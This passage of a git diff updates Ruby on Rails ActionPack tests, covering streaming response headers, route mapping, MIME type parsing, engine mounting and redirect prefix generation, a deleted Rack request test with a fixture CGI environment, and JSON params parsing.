- refute_equal header, @response.header
+ assert_not_equal header, @response.header
end
def test_initialize_with_default_headers
@@ -34,6 +35,7 @@ module ActionController
@response.stream.close
}
+ @response.await_commit
@response.each do |part|
assert_equal 'foo', part
latch.release
@@ -58,21 +60,30 @@ module ActionController
assert_nil @response.headers['Content-Length']
end
- def test_headers_cannot_be_written_after_write
+ def test_headers_cannot_be_written_after_webserver_reads
@response.stream.write 'omg'
+ latch = ActiveSupport::Concurrency::Latch.new
+ t = Thread.new {
+ @response.stream.each do |chunk|
+ latch.release
+ end
+ }
+
+ latch.await
assert @response.headers.frozen?
e = assert_raises(ActionDispatch::IllegalStateError) do
@response.headers['Content-Length'] = "zomg"
end
assert_equal 'header already sent', e.message
+ @response.stream.close
+ t.join
end
def test_headers_cannot_be_written_after_close
@response.stream.close
- assert @response.headers.frozen?
e = assert_raises(ActionDispatch::IllegalStateError) do
@response.headers['Content-Length'] = "zomg"
end
diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb
index 58457b0c28..889f9a4736 100644
--- a/actionpack/test/dispatch/mapper_test.rb
+++ b/actionpack/test/dispatch/mapper_test.rb
@@ -3,7 +3,7 @@ require 'abstract_unit'
module ActionDispatch
module Routing
class MapperTest < ActiveSupport::TestCase
- class FakeSet
+ class FakeSet < ActionDispatch::Routing::RouteSet
attr_reader :routes
alias :set :routes
@@ -38,7 +38,7 @@ module ActionDispatch
def test_mapping_requirements
options = { :controller => 'foo', :action => 'bar', :via => :get }
- m = Mapper::Mapping.new FakeSet.new, {}, '/store/:name(*rest)', options
+ m = Mapper::Mapping.build({}, FakeSet.new, '/store/:name(*rest)', nil, options)
_, _, requirements, _ = m.to_route
assert_equal(/.+?/, requirements[:rest])
end
@@ -72,7 +72,7 @@ module ActionDispatch
mapper = Mapper.new fakeset
mapper.get '/*path/foo/:bar', :to => 'pages#show'
assert_equal '/*path/foo/:bar(.:format)', fakeset.conditions.first[:path_info]
- assert_nil fakeset.requirements.first[:path]
+ assert_equal(/.+?/, fakeset.requirements.first[:path])
end
def test_map_wildcard_with_multiple_wildcard
@@ -80,7 +80,7 @@ module ActionDispatch
mapper = Mapper.new fakeset
mapper.get '/*foo/*bar', :to => 'pages#show'
assert_equal '/*foo/*bar(.:format)', fakeset.conditions.first[:path_info]
- assert_nil fakeset.requirements.first[:foo]
+ assert_equal(/.+?/, fakeset.requirements.first[:foo])
assert_equal(/.+?/, fakeset.requirements.first[:bar])
end
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index e2a9ba782d..3017a9c2d6 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -1,11 +1,9 @@
require 'abstract_unit'
class MimeTypeTest < ActiveSupport::TestCase
- Mime::Type.register "image/png", :png unless defined? Mime::PNG
- Mime::Type.register "application/pdf", :pdf unless defined? Mime::PDF
test "parse single" do
- Mime::LOOKUP.keys.each do |mime_type|
+ Mime::LOOKUP.each_key do |mime_type|
unless mime_type == 'image/*'
assert_equal [Mime::Type.lookup(mime_type)], Mime::Type.parse(mime_type)
end
@@ -31,21 +29,21 @@ class MimeTypeTest < ActiveSupport::TestCase
test "parse text with trailing star at the beginning" do
accept = "text/*, text/html, application/json, multipart/form-data"
- expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
test "parse text with trailing star in the end" do
accept = "text/html, application/json, multipart/form-data, text/*"
- expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML]
+ expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
test "parse text with trailing star" do
accept = "text/*"
- expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON]
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
@@ -75,7 +73,7 @@ class MimeTypeTest < ActiveSupport::TestCase
assert_equal expect, Mime::Type.parse(accept)
end
- test "parse arbitarry media type parameters" do
+ test "parse arbitrary media type parameters" do
accept = 'multipart/form-data; boundary="simple boundary"'
expect = [Mime::MULTIPART_FORM]
assert_equal expect, Mime::Type.parse(accept)
@@ -85,7 +83,7 @@ class MimeTypeTest < ActiveSupport::TestCase
test "parse broken acceptlines" do
accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5"
expect = [Mime::HTML, Mime::XML, "image/*", Mime::TEXT, Mime::ALL]
- assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
+ assert_equal expect, Mime::Type.parse(accept).collect(&:to_s)
end
# Accept header send with user HTTP_USER_AGENT: Mozilla/4.0
@@ -93,7 +91,7 @@ class MimeTypeTest < ActiveSupport::TestCase
test "parse other broken acceptlines" do
accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, , pronto/1.00.00, sslvpn/1.00.00.00, */*"
expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', Mime::ALL]
- assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
+ assert_equal expect, Mime::Type.parse(accept).collect(&:to_s)
end
test "custom type" do
@@ -126,7 +124,7 @@ class MimeTypeTest < ActiveSupport::TestCase
end
Mime::Type.register("text/foo", :foo)
- assert_equal registered_mimes, [Mime::FOO]
+ assert_equal [Mime::FOO], registered_mimes
ensure
Mime::Type.unregister(:FOO)
end
@@ -185,11 +183,6 @@ class MimeTypeTest < ActiveSupport::TestCase
all_types.uniq!
# Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
all_types.delete_if { |type| !Mime.const_defined?(type.upcase) }
- assert_deprecated do
- verified, unverified = all_types.partition { |type| Mime::Type.browser_generated_types.include? type }
- assert verified.each { |type| assert Mime.const_get(type.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
- assert unverified.each { |type| assert !Mime.const_get(type.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
- end
end
test "references gives preference to symbols before strings" do
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
index 3b008fdff0..d5a4d8ee11 100644
--- a/actionpack/test/dispatch/mount_test.rb
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -1,12 +1,18 @@
require 'abstract_unit'
+require 'rails/engine'
class TestRoutingMount < ActionDispatch::IntegrationTest
Router = ActionDispatch::Routing::RouteSet.new
- class FakeEngine
+ class AppWithRoutes < Rails::Engine
def self.routes
- Object.new
+ @routes ||= ActionDispatch::Routing::RouteSet.new
end
+ end
+
+ # Test for mounting apps that respond to routes, but aren't Rails-like apps.
+ class SinatraLikeApp
+ def self.routes; Object.new; end
def self.call(env)
[200, {"Content-Type" => "text/html"}, ["OK"]]
@@ -21,16 +27,35 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
mount SprocketsApp, :at => "/sprockets"
mount SprocketsApp => "/shorthand"
- mount FakeEngine, :at => "/fakeengine"
- mount FakeEngine, :at => "/getfake", :via => :get
+ mount SinatraLikeApp, :at => "/fakeengine", :as => :fake
+ mount SinatraLikeApp, :at => "/getfake", :via => :get
scope "/its_a" do
mount SprocketsApp, :at => "/sprocket"
end
+
+ resources :users do
+ mount AppWithRoutes, :at => "/fakeengine", :as => :fake_mounted_at_resource
+ end
+
+ mount SprocketsApp, :at => "/", :via => :get
end
+ APP = RoutedRackApp.new Router
def app
- Router
+ APP
+ end
+
+ def test_app_name_is_properly_generated_when_engine_is_mounted_in_resources
+ assert Router.mounted_helpers.method_defined?(:user_fake_mounted_at_resource),
+ "A mounted helper should be defined with a parent's prefix"
+ assert Router.named_routes.routes[:user_fake_mounted_at_resource],
+ "A named route should be defined with a parent's prefix"
+ end
+
+ def test_mounting_at_root_path
+ get "/omg"
+ assert_equal " -- /omg", response.body
end
def test_mounting_sets_script_name
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
index 113608ecf4..f90d5499d7 100644
--- a/actionpack/test/dispatch/prefix_generation_test.rb
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -1,5 +1,6 @@
require 'abstract_unit'
require 'rack/test'
+require 'rails/engine'
module TestGenerationPrefix
class Post
@@ -15,64 +16,56 @@ module TestGenerationPrefix
ActiveModel::Name.new(klass)
end
+
+ def to_model; self; end
+ def persisted?; true; end
end
class WithMountedEngine < ActionDispatch::IntegrationTest
include Rack::Test::Methods
- class BlogEngine
- def self.routes
- @routes ||= begin
- routes = ActionDispatch::Routing::RouteSet.new
- routes.draw do
- get "/posts/:id", :to => "inside_engine_generating#show", :as => :post
- get "/posts", :to => "inside_engine_generating#index", :as => :posts
- get "/url_to_application", :to => "inside_engine_generating#url_to_application"
- get "/polymorphic_path_for_engine", :to => "inside_engine_generating#polymorphic_path_for_engine"
- get "/conflicting_url", :to => "inside_engine_generating#conflicting"
- get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
- end
-
- routes
- end
- end
-
- def self.call(env)
- env['action_dispatch.routes'] = routes
- routes.call(env)
+ class BlogEngine < Rails::Engine
+ routes.draw do
+ get "/posts/:id", :to => "inside_engine_generating#show", :as => :post
+ get "/posts", :to => "inside_engine_generating#index", :as => :posts
+ get "/url_to_application", :to => "inside_engine_generating#url_to_application"
+ get "/polymorphic_path_for_engine", :to => "inside_engine_generating#polymorphic_path_for_engine"
+ get "/conflicting_url", :to => "inside_engine_generating#conflicting"
+ get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
+
+ get "/relative_path_root", :to => redirect("")
+ get "/relative_path_redirect", :to => redirect("foo")
+ get "/relative_option_root", :to => redirect(:path => "")
+ get "/relative_option_redirect", :to => redirect(:path => "foo")
+ get "/relative_custom_root", :to => redirect { |params, request| "" }
+ get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
+
+ get "/absolute_path_root", :to => redirect("/")
+ get "/absolute_path_redirect", :to => redirect("/foo")
+ get "/absolute_option_root", :to => redirect(:path => "/")
+ get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+ get "/absolute_custom_root", :to => redirect { |params, request| "/" }
+ get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
end
end
- class RailsApplication
- def self.routes
- @routes ||= begin
- routes = ActionDispatch::Routing::RouteSet.new
- routes.draw do
- scope "/:omg", :omg => "awesome" do
- mount BlogEngine => "/blog", :as => "blog_engine"
- end
- get "/posts/:id", :to => "outside_engine_generating#post", :as => :post
- get "/generate", :to => "outside_engine_generating#index"
- get "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app"
- get "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine"
- get "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for"
- get "/conflicting_url", :to => "outside_engine_generating#conflicting"
- get "/ivar_usage", :to => "outside_engine_generating#ivar_usage"
- root :to => "outside_engine_generating#index"
- end
-
- routes
+ class RailsApplication < Rails::Engine
+ routes.draw do
+ scope "/:omg", :omg => "awesome" do
+ mount BlogEngine => "/blog", :as => "blog_engine"
end
- end
-
- def self.call(env)
- env['action_dispatch.routes'] = routes
- routes.call(env)
+ get "/posts/:id", :to => "outside_engine_generating#post", :as => :post
+ get "/generate", :to => "outside_engine_generating#index"
+ get "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app"
+ get "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine"
+ get "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for"
+ get "/conflicting_url", :to => "outside_engine_generating#conflicting"
+ get "/ivar_usage", :to => "outside_engine_generating#ivar_usage"
+ root :to => "outside_engine_generating#index"
end
end
# force draw
- RailsApplication.routes
RailsApplication.routes.define_mounted_helper(:main_app)
class ::InsideEngineGeneratingController < ActionController::Base
@@ -144,19 +137,15 @@ module TestGenerationPrefix
end
def app
- RailsApplication
- end
-
- def engine_object
- @engine_object ||= EngineObject.new
+ RailsApplication.instance
end
- def app_object
- @app_object ||= AppObject.new
- end
+ attr_reader :engine_object, :app_object
def setup
RailsApplication.routes.default_url_options = {}
+ @engine_object = EngineObject.new
+ @app_object = AppObject.new
end
include BlogEngine.routes.mounted_helpers
@@ -182,6 +171,66 @@ module TestGenerationPrefix
assert_equal "engine", last_response.body
end
+ test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_path_root"
+ verify_redirect "http://example.org/awesome/blog"
+ end
+
+ test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_path_redirect"
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_option_root"
+ verify_redirect "http://example.org/awesome/blog"
+ end
+
+ test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_option_redirect"
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_custom_root"
+ verify_redirect "http://example.org/awesome/blog"
+ end
+
+ test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_custom_redirect"
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_path_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_path_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_option_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_option_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_custom_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_custom_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
# Inside Application
test "[APP] generating engine's route includes prefix" do
get "/generate"
@@ -270,6 +319,17 @@ module TestGenerationPrefix
path = engine_object.polymorphic_url(Post.new, :host => "www.example.com")
assert_equal "http://www.example.com/awesome/blog/posts/1", path
end
+
+ private
+ def verify_redirect(url, status = 301)
+ assert_equal status, last_response.status
+ assert_equal url, last_response.headers["Location"]
+ assert_equal expected_redirect_body(url), last_response.body
+ end
+
+ def expected_redirect_body(url)
+ %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+ end
end
class EngineMountedAtRoot < ActionDispatch::IntegrationTest
@@ -281,6 +341,20 @@ module TestGenerationPrefix
routes = ActionDispatch::Routing::RouteSet.new
routes.draw do
get "/posts/:id", :to => "posts#show", :as => :post
+
+ get "/relative_path_root", :to => redirect("")
+ get "/relative_path_redirect", :to => redirect("foo")
+ get "/relative_option_root", :to => redirect(:path => "")
+ get "/relative_option_redirect", :to => redirect(:path => "foo")
+ get "/relative_custom_root", :to => redirect { |params, request| "" }
+ get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
+
+ get "/absolute_path_root", :to => redirect("/")
+ get "/absolute_path_redirect", :to => redirect("/foo")
+ get "/absolute_option_root", :to => redirect(:path => "/")
+ get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+ get "/absolute_custom_root", :to => redirect { |params, request| "/" }
+ get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
end
routes
@@ -293,27 +367,12 @@ module TestGenerationPrefix
end
end
- class RailsApplication
- def self.routes
- @routes ||= begin
- routes = ActionDispatch::Routing::RouteSet.new
- routes.draw do
- mount BlogEngine => "/"
- end
-
- routes
- end
- end
-
- def self.call(env)
- env['action_dispatch.routes'] = routes
- routes.call(env)
+ class RailsApplication < Rails::Engine
+ routes.draw do
+ mount BlogEngine => "/"
end
end
- # force draw
- RailsApplication.routes
-
class ::PostsController < ActionController::Base
include BlogEngine.routes.url_helpers
include RailsApplication.routes.mounted_helpers
@@ -324,12 +383,83 @@ module TestGenerationPrefix
end
def app
- RailsApplication
+ RailsApplication.instance
end
test "generating path inside engine" do
get "/posts/1"
assert_equal "/posts/1", last_response.body
end
+
+ test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+ get "/relative_path_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
+ get "/relative_path_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+ get "/relative_option_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
+ get "/relative_option_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+ get "/relative_custom_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
+ get "/relative_custom_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_path_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
+ get "/absolute_path_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_option_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
+ get "/absolute_option_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_custom_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
+ get "/absolute_custom_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ private
+ def verify_redirect(url, status = 301)
+ assert_equal status, last_response.status
+ assert_equal url, last_response.headers["Location"]
+ assert_equal expected_redirect_body(url), last_response.body
+ end
+
+ def expected_redirect_body(url)
+ %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+ end
end
end
diff --git a/actionpack/test/dispatch/rack_test.rb b/actionpack/test/dispatch/rack_test.rb
deleted file mode 100644
index 6d239d0a0c..0000000000
--- a/actionpack/test/dispatch/rack_test.rb
+++ /dev/null
@@ -1,207 +0,0 @@
-require 'abstract_unit'
-
-# TODO: Merge these tests into RequestTest
-
-class BaseRackTest < ActiveSupport::TestCase
- def setup
- @env = {
- "HTTP_MAX_FORWARDS" => "10",
- "SERVER_NAME" => "glu.ttono.us",
- "FCGI_ROLE" => "RESPONDER",
- "AUTH_TYPE" => "Basic",
- "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
- "HTTP_ACCEPT_CHARSET" => "UTF-8",
- "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
- "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
- "HTTP_PRAGMA" => "no-cache",
- "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
- "PATH_INFO" => "/homepage/",
- "HTTP_ACCEPT_LANGUAGE" => "en",
- "HTTP_NEGOTIATE" => "trans",
- "HTTP_HOST" => "glu.ttono.us:8007",
- "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
- "HTTP_FROM" => "googlebot",
- "SERVER_PROTOCOL" => "HTTP/1.1",
- "REDIRECT_URI" => "/dispatch.fcgi",
- "SCRIPT_NAME" => "/dispatch.fcgi",
- "SERVER_ADDR" => "207.7.108.53",
- "REMOTE_ADDR" => "207.7.108.53",
- "REMOTE_HOST" => "google.com",
- "REMOTE_IDENT" => "kevin",
- "REMOTE_USER" => "kevin",
- "SERVER_SOFTWARE" => "lighttpd/1.4.5",
- "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes",
- "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us",
- "REQUEST_URI" => "/admin",
- "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public",
- "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
- "SERVER_PORT" => "8007",
- "QUERY_STRING" => "",
- "REMOTE_PORT" => "63137",
- "GATEWAY_INTERFACE" => "CGI/1.1",
- "HTTP_X_FORWARDED_FOR" => "65.88.180.234",
- "HTTP_ACCEPT" => "*/*",
- "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi",
- "REDIRECT_STATUS" => "200",
- "REQUEST_METHOD" => "GET"
- }
- @request = ActionDispatch::Request.new(@env)
- # some Nokia phone browsers omit the space after the semicolon separator.
- # some developers have grown accustomed to using comma in cookie values.
- @alt_cookie_fmt_request = ActionDispatch::Request.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}))
- end
-
- private
- def set_content_data(data)
- @request.env['REQUEST_METHOD'] = 'POST'
- @request.env['CONTENT_LENGTH'] = data.length
- @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
- @request.env['rack.input'] = StringIO.new(data)
- end
-end
-
-class RackRequestTest < BaseRackTest
- test "proxy request" do
- assert_equal 'glu.ttono.us', @request.host_with_port
- end
-
- test "http host" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env['HTTP_HOST'] = "rubyonrails.org:8080"
- assert_equal "rubyonrails.org", @request.host
- assert_equal "rubyonrails.org:8080", @request.host_with_port
-
- @env['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
- assert_equal "www.secondhost.org", @request.host
- end
-
- test "http host with default port overrides server port" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env['HTTP_HOST'] = "rubyonrails.org"
- assert_equal "rubyonrails.org", @request.host_with_port
- end
-
- test "host with port defaults to server name if no host headers" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env.delete "HTTP_HOST"
- assert_equal "glu.ttono.us:8007", @request.host_with_port
- end
-
- test "host with port falls back to server addr if necessary" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env.delete "HTTP_HOST"
- @env.delete "SERVER_NAME"
- assert_equal "207.7.108.53", @request.host
- assert_equal 8007, @request.port
- assert_equal "207.7.108.53:8007", @request.host_with_port
- end
-
- test "host with port if http standard port is specified" do
- @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
- assert_equal "glu.ttono.us", @request.host_with_port
- end
-
- test "host with port if https standard port is specified" do
- @env['HTTP_X_FORWARDED_PROTO'] = "https"
- @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
- assert_equal "glu.ttono.us", @request.host_with_port
- end
-
- test "host if ipv6 reference" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
- assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
- end
-
- test "host if ipv6 reference with port" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
- assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
- end
-
- test "cgi environment variables" do
- assert_equal "Basic", @request.auth_type
- assert_equal 0, @request.content_length
- assert_equal nil, @request.content_mime_type
- assert_equal "CGI/1.1", @request.gateway_interface
- assert_equal "*/*", @request.accept
- assert_equal "UTF-8", @request.accept_charset
- assert_equal "gzip, deflate", @request.accept_encoding
- assert_equal "en", @request.accept_language
- assert_equal "no-cache, max-age=0", @request.cache_control
- assert_equal "googlebot", @request.from
- assert_equal "glu.ttono.us", @request.host
- assert_equal "trans", @request.negotiate
- assert_equal "no-cache", @request.pragma
- assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer
- assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent
- assert_equal "/homepage/", @request.path_info
- assert_equal "/home/kevinc/sites/typo/public/homepage/", @request.path_translated
- assert_equal "", @request.query_string
- assert_equal "207.7.108.53", @request.remote_addr
- assert_equal "google.com", @request.remote_host
- assert_equal "kevin", @request.remote_ident
- assert_equal "kevin", @request.remote_user
- assert_equal "GET", @request.request_method
- assert_equal "/dispatch.fcgi", @request.script_name
- assert_equal "glu.ttono.us", @request.server_name
- assert_equal 8007, @request.server_port
- assert_equal "HTTP/1.1", @request.server_protocol
- assert_equal "lighttpd", @request.server_software
- end
-
- test "cookie syntax resilience" do
- cookies = @request.cookies
- assert_equal "c84ace84796670c052c6ceb2451fb0f2", cookies["_session_id"], cookies.inspect
- assert_equal "yes", cookies["is_admin"], cookies.inspect
-
- alt_cookies = @alt_cookie_fmt_request.cookies
- #assert_equal "c84ace847,96670c052c6ceb2451fb0f2", alt_cookies["_session_id"], alt_cookies.inspect
- assert_equal "yes", alt_cookies["is_admin"], alt_cookies.inspect
- end
-end
-
-class RackRequestParamsParsingTest < BaseRackTest
- test "doesnt break when content type has charset" do
- set_content_data 'flamenco=love'
-
- assert_equal({"flamenco"=> "love"}, @request.request_parameters)
- end
-
- test "doesnt interpret request uri as query string when missing" do
- @request.env['REQUEST_URI'] = 'foo'
- assert_equal({}, @request.query_parameters)
- end
-end
-
-class RackRequestContentTypeTest < BaseRackTest
- test "html content type verification" do
- assert_deprecated do
- @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
- assert @request.content_mime_type.verify_request?
- end
- end
-
- test "xml content type verification" do
- assert_deprecated do
- @request.env['CONTENT_TYPE'] = Mime::XML.to_s
- assert !@request.content_mime_type.verify_request?
- end
- end
-end
-
-class RackRequestNeedsRewoundTest < BaseRackTest
- test "body should be rewound" do
- data = 'foo'
- @env['rack.input'] = StringIO.new(data)
- @env['CONTENT_LENGTH'] = data.length
- @env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-
- # Read the request body by parsing params.
- request = ActionDispatch::Request.new(@env)
- request.request_parameters
-
- # Should have rewound the body.
- assert_equal 0, request.body.pos
- end
-end
diff --git a/actionpack/test/dispatch/reloader_test.rb b/actionpack/test/dispatch/reloader_test.rb
index ce9ccfcee8..62e8197e20 100644
--- a/actionpack/test/dispatch/reloader_test.rb
+++ b/actionpack/test/dispatch/reloader_test.rb
@@ -3,6 +3,11 @@ require 'abstract_unit'
class ReloaderTest < ActiveSupport::TestCase
Reloader = ActionDispatch::Reloader
+ teardown do
+ Reloader.reset_callbacks :prepare
+ Reloader.reset_callbacks :cleanup
+ end
+
def test_prepare_callbacks
a = b = c = nil
Reloader.to_prepare { |*args| a = b = c = 1 }
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
index c0c3147e37..c609075e6b 100644
--- a/actionpack/test/dispatch/request/json_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -23,6 +23,13 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
)
end
+ test "parses boolean and number json params for application json" do
+ assert_parses(
+ {"item" => {"enabled" => false, "count" => 10}},
+ "{\"item\": {\"enabled\": false, \"count\": 10}}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
test "parses json params for application jsonrequest" do
assert_parses(
{"person" => {"name" => "David"}},
@@ -30,12 +37,27 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
)
end
+ test "nils are stripped from collections" do
+ assert_parses(
+ {"person" => nil},
+ "{\"person\":[null]}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ assert_parses(
+ {"person" => ['foo']},
+ "{\"person\":[\"foo\",null]}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ assert_parses(
+ {"person" => nil},
+ "{\"person\":[null, null]}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
test "logs error if parsing unsuccessful" do
with_test_routing do
output = StringIO.new
json = "[\"person]\": {\"name\": \"David\"}}"
